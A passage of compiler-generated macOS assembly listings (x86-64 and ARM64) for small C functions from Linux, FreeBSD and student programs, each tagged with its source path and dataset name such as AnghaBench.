ldr w21, [x23] ldr w0, [x19, #60] bl _be32_to_cpu mov x22, x0 ldr w0, [x19, #56] bl _be32_to_cpu ; kill: def $w0 killed $w0 def $x0 stp x22, x0, [sp] mov x0, x21 mov x1, x20 bl _dprint ldr w0, [x23] Lloh6: adrp x1, l_.str.2@PAGE Lloh7: add x1, x1, l_.str.2@PAGEOFF ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 b _dprint .loh AdrpAdd Lloh6, Lloh7 .loh AdrpAdd Lloh4, Lloh5 .loh AdrpAdd Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _DBG_EXTENT,4,2 ; @DBG_EXTENT .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz " " l_.str.1: ; @.str.1 .asciz " %u:%u" l_.str.2: ; @.str.2 .asciz "\n" .no_dead_strip _hfsplus_dump_extent .subsections_via_symbols

AnghaBench/fastsocket/kernel/fs/hfsplus/extr_extents.c_hfsplus_dump_extent.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 leaq L_str(%rip), %r14 leaq L_.str.1(%rip), %r15 leaq -28(%rbp), %rbx .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movq %r14, %rdi callq _puts movq %r15, %rdi movq %rbx, %rsi xorl %eax, %eax callq _scanf movl -28(%rbp), %eax cmpl $23, %eax ja LBB0_1 ## %bb.2: testl %eax, %eax je LBB0_8 ## %bb.3: movl $1, %r14d jmp LBB0_4 .p2align 4, 0x90 LBB0_7: ## in Loop: Header=BB0_4 Depth=1 movl $10, %edi callq _putchar leal 1(%r14), %ecx movl -28(%rbp), %eax cmpl %eax, %r14d movl %ecx, %r14d jge LBB0_8 LBB0_4: ## =>This Loop Header: Depth=1 ## Child Loop BB0_6 Depth 2 testl %eax, %eax js LBB0_7 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 movl $-1, %ebx .p2align 4, 0x90 LBB0_6: ## Parent Loop BB0_4 Depth=1 ## => This Inner Loop Header: Depth=2 incl %ebx subl %r14d, %eax xorl %ecx, %ecx cmpl %eax, %ebx setge %cl leal (%rcx,%rcx,2), %edi orl $32, %edi callq _putchar movl -28(%rbp), %eax cmpl %eax, %ebx jl LBB0_6 jmp LBB0_7 LBB0_8: xorl %eax, %eax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str.1: ## @.str.1 .asciz "%i" L_str: ## @str .asciz "How tall should the pyramid be, between 0 and 23?" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 Lloh0: adrp x19, l_str@PAGE Lloh1: add x19, x19, l_str@PAGEOFF add x21, sp, #12 Lloh2: adrp x20, l_.str.1@PAGE Lloh3: add x20, x20, l_.str.1@PAGEOFF LBB0_1: ; =>This Inner Loop Header: Depth=1 mov x0, x19 bl _puts str x21, [sp] mov x0, x20 bl _scanf ldr w8, [sp, #12] cmp w8, #23 b.hi LBB0_1 ; %bb.2: cbz w8, LBB0_8 ; %bb.3: mov w19, #1 mov w20, #35 mov w21, #32 b LBB0_5 LBB0_4: ; in Loop: Header=BB0_5 Depth=1 mov w0, #10 bl _putchar add w9, w19, #1 ldr w8, [sp, #12] cmp w19, w8 mov x19, x9 b.ge LBB0_8 LBB0_5: ; =>This Loop Header: Depth=1 ; Child Loop BB0_7 Depth 2 tbnz w8, #31, LBB0_4 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 mov w22, #-1 LBB0_7: ; Parent Loop BB0_5 Depth=1 ; => This Inner Loop Header: Depth=2 add w22, w22, #1 sub w8, w8, w19 cmp w22, w8 csel w0, w21, w20, lt bl _putchar ldr w8, [sp, #12] cmp w22, w8 b.lt LBB0_7 b LBB0_4 LBB0_8: mov w0, #0 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload add sp, sp, #64 ret .loh AdrpAdd Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str.1: ; @.str.1 .asciz "%i" l_str: ; @str .asciz "How tall should the pyramid be, between 0 and 23?" .subsections_via_symbols

the_stack_data/813182.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function SetModemSpeed _SetModemSpeed: ## @SetModemSpeed .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx subq $16, %rsp .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl (%rdi), %eax movslq 4(%rdi), %rcx cmpl %ecx, %eax jle LBB0_12 ## %bb.1: movq %rdi, %rbx movq 8(%rdi), %rdx movq (%rdx,%rcx,8), %r14 cmpq $0, (%r14) je LBB0_12 ## %bb.2: incl %ecx cmpl %ecx, %eax jle LBB0_4 ## %bb.3: movq _LogWARN@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str(%rip), %rsi jmp LBB0_13 LBB0_12: movq _LogWARN@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str.4(%rip), %rsi LBB0_13: xorl %eax, %eax callq _log_Printf LBB0_14: movl $-1, %eax LBB0_15: addq $16, %rsp popq %rbx popq %r14 popq %rbp retq LBB0_4: leaq L_.str.1(%rip), %rsi movq %r14, %rdi callq _strcasecmp testq %rax, %rax je LBB0_5 ## %bb.6: movq $0, -24(%rbp) leaq -24(%rbp), %rsi movq %r14, %rdi movl $10, %edx callq _strtol movq -24(%rbp), %rcx cmpb $0, (%rcx) jne LBB0_8 ## %bb.7: testq %rax, %rax js LBB0_8 ## %bb.10: movq 16(%rbx), %rcx movl (%rcx), %edi movq %rax, %rsi callq _physical_SetSpeed movq %rax, %rcx xorl %eax, %eax testq %rcx, %rcx jne LBB0_15 ## %bb.11: movq _LogWARN@GOTPCREL(%rip), %rax movl (%rax), %edi movq 8(%rbx), %rax movslq 4(%rbx), %rcx movq (%rax,%rcx,8), %rdx leaq L_.str.3(%rip), %rsi jmp LBB0_9 LBB0_5: movq 16(%rbx), %rax movl (%rax), %edi callq _physical_SetSync xorl %eax, %eax jmp LBB0_15 LBB0_8: movq _LogWARN@GOTPCREL(%rip), %rax movl (%rax), %edi movq 8(%rbx), %rax movslq 4(%rbx), %rcx movq (%rax,%rcx,8), %rdx leaq L_.str.2(%rip), %rsi LBB0_9: xorl %eax, %eax callq _log_Printf jmp LBB0_14 .cfi_endproc ## -- End function .comm _LogWARN,4,2 ## @LogWARN .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "SetModemSpeed: Too many arguments\n" L_.str.1: ## @.str.1 .asciz "sync" L_.str.2: ## @.str.2 .asciz "SetModemSpeed: Bad argument \"%s\"" L_.str.3: ## @.str.3 .asciz "%s: Invalid speed\n" L_.str.4: ## @.str.4 .asciz "SetModemSpeed: No speed specified\n" .no_dead_strip _SetModemSpeed .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function SetModemSpeed _SetModemSpeed: ; @SetModemSpeed .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 ldp w8, w9, [x0] ; kill: def $w9 killed $w9 def $x9 sxtw x9, w9 cmp w8, w9 b.le LBB0_4 ; %bb.1: mov x19, x0 ldr x10, [x0, #8] ldr x20, [x10, x9, lsl #3] ldr x10, [x20] cbz x10, LBB0_4 ; %bb.2: add w9, w9, #1 cmp w8, w9 b.le LBB0_7 ; %bb.3: Lloh0: adrp x8, _LogWARN@GOTPAGE Lloh1: ldr x8, [x8, _LogWARN@GOTPAGEOFF] Lloh2: ldr w0, [x8] Lloh3: adrp x1, l_.str@PAGE Lloh4: add x1, x1, l_.str@PAGEOFF b LBB0_5 LBB0_4: Lloh5: adrp x8, _LogWARN@GOTPAGE Lloh6: ldr x8, [x8, _LogWARN@GOTPAGEOFF] Lloh7: ldr w0, [x8] Lloh8: adrp x1, l_.str.4@PAGE Lloh9: add x1, x1, l_.str.4@PAGEOFF LBB0_5: bl _log_Printf mov w0, #-1 LBB0_6: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret LBB0_7: Lloh10: adrp x1, l_.str.1@PAGE Lloh11: add x1, x1, l_.str.1@PAGEOFF mov x0, x20 bl _strcasecmp cbz x0, LBB0_12 ; %bb.8: str xzr, [sp, #8] add x1, sp, #8 mov x0, x20 mov w2, #10 bl _strtol ldr x8, [sp, #8] ldrb w8, [x8] cbnz w8, LBB0_13 ; %bb.9: mov x1, x0 tbnz x0, #63, LBB0_13 ; %bb.10: ldr x8, [x19, #16] ldr w0, [x8] bl _physical_SetSpeed cbz x0, LBB0_14 ; %bb.11: mov w0, #0 b LBB0_6 LBB0_12: ldr x8, [x19, #16] ldr w0, [x8] bl _physical_SetSync mov w0, #0 b LBB0_6 LBB0_13: Lloh12: adrp x8, _LogWARN@GOTPAGE Lloh13: ldr x8, [x8, _LogWARN@GOTPAGEOFF] Lloh14: ldr w0, [x8] ldr x8, [x19, #8] ldrsw x9, [x19, #4] ldr x8, [x8, x9, lsl #3] str x8, [sp] Lloh15: adrp x1, l_.str.2@PAGE Lloh16: add x1, x1, l_.str.2@PAGEOFF b LBB0_5 LBB0_14: Lloh17: adrp x8, _LogWARN@GOTPAGE Lloh18: ldr x8, [x8, _LogWARN@GOTPAGEOFF] Lloh19: ldr w0, [x8] ldr x8, [x19, #8] ldrsw x9, [x19, #4] ldr x8, [x8, x9, lsl #3] str x8, [sp] Lloh20: adrp x1, l_.str.3@PAGE Lloh21: add x1, x1, l_.str.3@PAGEOFF b LBB0_5 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpAdd Lloh10, Lloh11 .loh AdrpAdd Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .loh AdrpAdd Lloh20, Lloh21 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .cfi_endproc ; -- End function .comm _LogWARN,4,2 ; @LogWARN .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "SetModemSpeed: Too many arguments\n" l_.str.1: ; @.str.1 .asciz "sync" l_.str.2: ; @.str.2 .asciz "SetModemSpeed: Bad argument \"%s\"" l_.str.3: ; @.str.3 .asciz "%s: Invalid speed\n" l_.str.4: ; @.str.4 .asciz "SetModemSpeed: No speed specified\n" .no_dead_strip _SetModemSpeed .subsections_via_symbols

AnghaBench/freebsd/usr.sbin/ppp/extr_command.c_SetModemSpeed.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function qp_read_field _qp_read_field: ## @qp_read_field .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, -48(%rbp) ## 8-byte Spill movl %edx, %r15d movq %rsi, %r12 movq %rdi, %r13 movq _query_qp_out@GOTPCREL(%rip), %r14 movl (%r14), %edi callq _MLX5_ST_SZ_BYTES movl %eax, %ebx movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi movl %ebx, %edi callq _kzalloc testq %rax, %rax je LBB0_1 ## %bb.2: movq %r13, %rdi movq %r12, %rsi movq %rax, %rdx movl %ebx, %ecx movq %rax, %rbx callq _mlx5_core_qp_query testl %eax, %eax je LBB0_4 ## %bb.3: movq %rbx, %r14 leaq L_.str(%rip), %rsi movq %r13, %rdi movl %eax, %edx callq _mlx5_core_warn xorl %r13d, %r13d LBB0_18: movq %r14, %rdi callq _kfree jmp LBB0_19 LBB0_1: xorl %r13d, %r13d LBB0_19: movl %r13d, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_4: movq -48(%rbp), %rax ## 8-byte Reload movl $0, (%rax) movl (%r14), %edi movq _qpc@GOTPCREL(%rip), %rax movl (%rax), %edx movq %rbx, %r14 movq %rbx, %rsi callq _MLX5_ADDR_OF xorl %r13d, %r13d addl $-128, %r15d cmpl $8, %r15d ja LBB0_18 ## %bb.5: movq %rax, %rbx leaq LJTI0_0(%rip), %rax movslq (%rax,%r15,4), %rcx addq %rax, %rcx jmpq *%rcx LBB0_9: movl 16(%rbx), %edi callq _be32_to_cpu shrl $16, %eax movzbl %al, %edi callq _mlx5_qp_type_str jmp LBB0_8 LBB0_7: movl 16(%rbx), %edi callq _be32_to_cpu sarl $28, %eax movl %eax, %edi callq _mlx5_qp_state_str LBB0_8: movq %rax, %r13 movq -48(%rbp), %rax ## 8-byte Reload movl $1, (%rax) jmp LBB0_18 LBB0_15: movl 8(%rbx), %edi callq _be32_to_cpu movl %eax, %r13d andl $16777215, %r13d ## imm = 0xFFFFFF jmp LBB0_18 LBB0_11: movb 4(%rbx), %cl andb $7, %cl movl $16, %r13d shll %cl, %r13d jmp LBB0_18 LBB0_6: movl (%r12), %r13d jmp LBB0_18 LBB0_16: movl (%rbx), %eax sarl $5, %eax addl $-137, %eax cmpl $5, %eax jae LBB0_18 ## %bb.17: cltq leaq l_switch.table.qp_read_field(%rip), %rcx movl (%rcx,%rax,4), %r13d jmp LBB0_18 LBB0_12: movl 12(%rbx), %edi callq _be16_to_cpu cmpl $32767, %eax ## imm = 0x7FFF ja LBB0_18 ## %bb.13: movl 12(%rbx), %edi callq _be16_to_cpu shrl $11, %eax movl $1, %r13d movl %eax, %ecx shll %cl, %r13d jmp LBB0_18 LBB0_10: movb 4(%rbx), %cl shrb $3, %cl andb $15, %cl movl $1, %r13d shll %cl, %r13d jmp LBB0_18 LBB0_14: movl 8(%rbx), %edi callq _be32_to_cpu movl %eax, %r13d shrl $24, %r13d andl $31, %r13d addl $12, %r13d jmp LBB0_18 .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_9, LBB0_9-LJTI0_0 .set L0_0_set_7, LBB0_7-LJTI0_0 .set L0_0_set_15, LBB0_15-LJTI0_0 .set L0_0_set_11, LBB0_11-LJTI0_0 .set L0_0_set_6, LBB0_6-LJTI0_0 .set L0_0_set_12, LBB0_12-LJTI0_0 .set L0_0_set_10, LBB0_10-LJTI0_0 .set L0_0_set_16, LBB0_16-LJTI0_0 .set L0_0_set_14, LBB0_14-LJTI0_0 LJTI0_0: .long L0_0_set_9 .long L0_0_set_7 .long L0_0_set_15 .long L0_0_set_11 .long L0_0_set_6 .long L0_0_set_12 .long L0_0_set_10 .long L0_0_set_16 .long L0_0_set_14 .end_data_region ## -- End function .comm _query_qp_out,4,2 ## @query_qp_out .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "failed to query qp err=%d\n" .comm _qpc,4,2 ## @qpc .no_dead_strip _qp_read_field .section __TEXT,__const .p2align 2 ## @switch.table.qp_read_field l_switch.table.qp_read_field: .long 512 ## 0x200 .long 4096 ## 0x1000 .long 256 ## 0x100 .long 2048 ## 0x800 .long 1024 ## 0x400 .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function qp_read_field _qp_read_field: ; @qp_read_field .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x20, x3 mov x22, x2 mov x21, x1 mov x23, x0 Lloh0: adrp x25, _query_qp_out@GOTPAGE Lloh1: ldr x25, [x25, _query_qp_out@GOTPAGEOFF] ldr w0, [x25] bl _MLX5_ST_SZ_BYTES mov x24, x0 Lloh2: adrp x8, _GFP_KERNEL@GOTPAGE Lloh3: ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] Lloh4: ldr w1, [x8] bl _kzalloc cbz x0, LBB0_5 ; %bb.1: mov x19, x0 mov x0, x23 mov x1, x21 mov x2, x19 mov x3, x24 bl _mlx5_core_qp_query cbz w0, LBB0_7 ; %bb.2: mov x2, x0 Lloh5: adrp x1, l_.str@PAGE Lloh6: add x1, x1, l_.str@PAGEOFF mov x0, x23 bl _mlx5_core_warn LBB0_3: mov w21, #0 LBB0_4: mov x0, x19 bl _kfree b LBB0_6 LBB0_5: mov w21, #0 LBB0_6: mov x0, x21 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret LBB0_7: str wzr, [x20] ldr w0, [x25] Lloh7: adrp x8, _qpc@GOTPAGE Lloh8: ldr x8, [x8, _qpc@GOTPAGEOFF] Lloh9: ldr w2, [x8] mov x1, x19 bl _MLX5_ADDR_OF sub w8, w22, #128 cmp w8, #8 b.hi LBB0_3 ; %bb.8: mov x23, x0 Lloh10: adrp x9, lJTI0_0@PAGE Lloh11: add x9, x9, lJTI0_0@PAGEOFF adr x10, LBB0_9 ldrb w11, [x9, x8] add x10, x10, x11, lsl #2 br x10 LBB0_9: ldr w0, [x23, #16] bl _be32_to_cpu ubfx w0, w0, #16, #8 bl _mlx5_qp_type_str mov w8, #1 str w8, [x20] mov x21, x0 b LBB0_4 LBB0_10: ldr w0, [x23, #16] bl _be32_to_cpu asr w0, w0, #28 bl _mlx5_qp_state_str mov x21, x0 mov w8, #1 str w8, [x20] b LBB0_4 LBB0_11: ldr w0, [x23, #8] bl _be32_to_cpu and w21, w0, #0xffffff b LBB0_4 LBB0_12: ldr w8, [x23, #4] and x8, x8, #0x7 mov w9, #16 lsl w21, w9, w8 b LBB0_4 LBB0_13: ldr w21, [x21] b LBB0_4 LBB0_14: ldr w8, [x23] sbfx x8, x8, #5, #27 sub x8, x8, #137 cmp w8, #5 b.hs LBB0_3 ; %bb.15: Lloh12: adrp x9, l_switch.table.qp_read_field@PAGE Lloh13: add x9, x9, l_switch.table.qp_read_field@PAGEOFF ldr w21, [x9, x8, lsl #2] b LBB0_4 LBB0_16: ldr w0, [x23, #12] bl _be16_to_cpu lsr w8, w0, #15 cbnz w8, LBB0_3 ; %bb.17: ldr w0, [x23, #12] bl _be16_to_cpu asr w8, w0, #11 b LBB0_19 LBB0_18: ldr w8, [x23, #4] ubfx w8, w8, #3, #4 LBB0_19: mov w9, #1 lsl w21, w9, w8 b LBB0_4 LBB0_20: ldr w0, [x23, #8] bl _be32_to_cpu ubfx w8, w0, #24, #5 add w21, w8, #12 b LBB0_4 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpAdd Lloh10, Lloh11 .loh AdrpAdd Lloh12, Lloh13 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_9-LBB0_9)>>2 .byte (LBB0_10-LBB0_9)>>2 .byte (LBB0_11-LBB0_9)>>2 .byte (LBB0_12-LBB0_9)>>2 .byte (LBB0_13-LBB0_9)>>2 .byte (LBB0_16-LBB0_9)>>2 .byte (LBB0_18-LBB0_9)>>2 .byte (LBB0_14-LBB0_9)>>2 .byte (LBB0_20-LBB0_9)>>2 ; -- End function .comm _query_qp_out,4,2 ; @query_qp_out .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "failed to query qp err=%d\n" .comm _qpc,4,2 ; @qpc .no_dead_strip _qp_read_field .section __TEXT,__const .p2align 2 ; @switch.table.qp_read_field l_switch.table.qp_read_field: .long 512 ; 0x200 .long 4096 ; 0x1000 .long 256 ; 0x100 .long 2048 ; 0x800 .long 1024 ; 0x400 .subsections_via_symbols

AnghaBench/linux/drivers/net/ethernet/mellanox/mlx5/core/extr_debugfs.c_qp_read_field.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function append_filter_string _append_filter_string: ## @append_filter_string .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r14 movq %rdi, %rbx xorl %edi, %edi cmpq $0, (%rbx) sete %dil callq _BUG_ON movq (%rbx), %rdi callq _strlen movl %eax, %r15d movq %r14, %rdi callq _strlen ## kill: def $eax killed $eax def $rax leal (%r15,%rax), %edi incl %edi movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi callq _kmalloc testq %rax, %rax je LBB0_1 ## %bb.2: movq %rax, %r15 movq (%rbx), %rsi movq %rax, %rdi callq _strcpy movq %r15, %rdi movq %r14, %rsi callq _strcat movq (%rbx), %rdi callq _kfree movq %r15, (%rbx) xorl %eax, %eax jmp LBB0_3 LBB0_1: movq _ENOMEM@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax LBB0_3: addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .no_dead_strip _append_filter_string .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function append_filter_string _append_filter_string: ; @append_filter_string .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x20, x1 mov x19, x0 ldr x8, [x0] cmp x8, #0 cset w0, eq bl _BUG_ON ldr x0, [x19] bl _strlen mov x21, x0 mov x0, x20 bl _strlen add w8, w21, w0 Lloh0: adrp x9, _GFP_KERNEL@GOTPAGE Lloh1: ldr x9, [x9, _GFP_KERNEL@GOTPAGEOFF] Lloh2: ldr w1, [x9] add w0, w8, #1 bl _kmalloc cbz x0, LBB0_2 ; %bb.1: ldr x1, [x19] mov x21, x0 bl _strcpy mov x0, x21 mov x1, x20 bl _strcat ldr x0, [x19] bl _kfree mov w0, #0 ; =0x0 str x21, [x19] b LBB0_3 LBB0_2: Lloh3: adrp x8, _ENOMEM@GOTPAGE Lloh4: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh5: ldr w8, [x8] neg w0, w8 LBB0_3: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .no_dead_strip _append_filter_string .subsections_via_symbols

assembly_file_106755.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function xfs_dir2_max_leaf_ents _xfs_dir2_max_leaf_ents: ## @xfs_dir2_max_leaf_ents .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl (%rdi), %eax leal -4(%rax), %ecx decl %eax testl %ecx, %ecx cmovnsl %ecx, %eax sarl $2, %eax ## kill: def $eax killed $eax killed $rax popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _xfs_dir2_max_leaf_ents .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function xfs_dir2_max_leaf_ents _xfs_dir2_max_leaf_ents: ; @xfs_dir2_max_leaf_ents .cfi_startproc ; %bb.0: ldr w8, [x0] sub w9, w8, #4 sub w8, w8, #1 cmp w9, #0 csel w8, w8, w9, lt asr w0, w8, #2 ret .cfi_endproc ; -- End function .no_dead_strip _xfs_dir2_max_leaf_ents .subsections_via_symbols

AnghaBench/fastsocket/kernel/fs/xfs/extr_xfs_dir2_leaf.h_xfs_dir2_max_leaf_ents.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function kern_sym_match _kern_sym_match: ## @kern_sym_match .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edx, %r15d movq %rsi, %rbx movq %rdi, %r14 movl %edx, %edi callq _kallsyms__is_function xorl %r12d, %r12d testq %rax, %rax je LBB0_7 ## %bb.1: movl 32(%r14), %esi movq %rbx, %rdi callq _strcmp testl %eax, %eax je LBB0_2 LBB0_7: movl %r12d, %eax popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq LBB0_2: cmpq $0, 24(%r14) je LBB0_4 ## %bb.3: movsbl %r15b, %edi callq _isupper movl $1, %r12d testq %rax, %rax jne LBB0_7 LBB0_4: movq 16(%r14), %rax testq %rax, %rax je LBB0_6 ## %bb.5: movq (%r14), %rcx incq %rcx movq %rcx, (%r14) movl $1, %r12d cmpq 8(%r14), %rcx je LBB0_7 LBB0_6: xorl %r12d, %r12d orq 24(%r14), %rax sete %r12b jmp LBB0_7 .cfi_endproc ## -- End function .no_dead_strip _kern_sym_match .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function kern_sym_match _kern_sym_match: ; @kern_sym_match .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x20, x2 mov x21, x1 mov x19, x0 mov x0, x2 bl _kallsyms__is_function cbz x0, LBB0_9 ; %bb.1: ldr w1, [x19, #32] mov x0, x21 bl _strcmp cbz w0, LBB0_3 ; %bb.2: mov w0, #0 b LBB0_9 LBB0_3: ldr x8, [x19, #24] cbz x8, LBB0_5 ; %bb.4: mov x0, x20 bl _isupper cbnz x0, LBB0_7 LBB0_5: ldr 